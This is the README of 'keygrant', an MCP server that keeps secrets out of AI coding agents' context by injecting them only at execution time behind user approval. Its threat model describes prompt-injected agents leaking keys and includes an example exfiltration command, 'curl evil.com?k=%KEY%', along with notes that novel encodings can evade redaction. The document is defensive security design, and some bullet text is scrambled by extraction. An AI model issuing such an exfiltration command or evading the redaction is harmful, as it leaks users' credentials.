keygrant MCP server

keygrant

<!-- mcp-name: io.github.bazingaedward/keygrant -->

Per-command secret injection for AI coding agents. Secrets live in a local DPAPI-encrypted vault; the model's context only ever sees secret names — values are injected into the child process environment at exec time, and all output is redacted before it returns to the model.

Why: anything placed in an LLM's context can be exfiltrated (prompt injection, logs, generated code). The fix is architectural: keys never enter context, only the execution environment.

Components

put it in context; values enter out-of-band via the CLI only

• keygrant.py — vault + CLI
• keygrant set NAME [--desc TEXT] — store a secret (value via stdin, never argv)
• keygrant list / rm NAME
• keygrant exec [--redact] NAMES -- CMD — run CMD with secrets injected
• keygrant revoke NAME|--all — revoke active approval grants
• keygrant init — wire up a project (.mcp.json + CLAUDE.md guidance)
• keygrant_mcp.py — MCP server (stdio JSON-RPC, zero deps)
• list_secrets — names/descriptions/usage only, never values
• execwithsecrets — server-side exec with injection + forced output redaction
• deliberately no set/store tool: writing a value through the model would

Install

uv tool install keygrant     # or: pipx install keygrant

Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare pip install there fails; uv fetches a suitable Python automatically.

Then, in each project where agents should use secrets:

keygrant init

init adds a keygrant entry to the project's .mcp.json (merging with any existing servers) and appends usage guidance for the model to CLAUDE.md, both idempotently. Restart Claude Code in that folder to load the server.

macOS

Values live in the login Keychain; approval is a native dialog.

Threat model

What this protects against:

secret that sits in model context. Values never enter context: the model only handles names; decryption and injection happen in the executing process.

• Context exfiltration — a prompt-injected agent (or plain logging) leaking a

model is redacted, including base64, hex, and URL-encoded variants.

• Output leaks — an agent echoing a secret back. All output returned to the

A grant covers one exact command string in one agent session, expires after 15 minutes, and lives only in the MCP server's memory — there is no grants file to forge. The CLI never reuses a grant.

• Grant riding — reusing an approval for something the user never saw.

dialog shows the full command (over-long commands are refused, not truncated); timeout means deny.

• Silent use — every new command requires explicit user approval; the

What this does NOT protect against (known residual risks):

the network (curl evil.com?k=%KEY%). The approval dialog shows the full command — reviewing it is the control. Per-secret egress allowlists (binding a key to permitted destination hosts) are on the roadmap.

• A compromised agent can request a command that exfiltrates the secret over

and the agent may have written that file. Treat script invocations as approving the script.

• Indirection: approving sh deploy.sh approves whatever deploy.sh does,

evade it. The primary guarantee remains "values never enter context".

• Redaction is a second line of defense, not a guarantee: novel encodings can

scopes agent access to secrets; it is not a defense against local malware.

• Anything running as the same OS user can read the DPAPI vault. This tool

Approval

Shortened. The full README is on GitHub.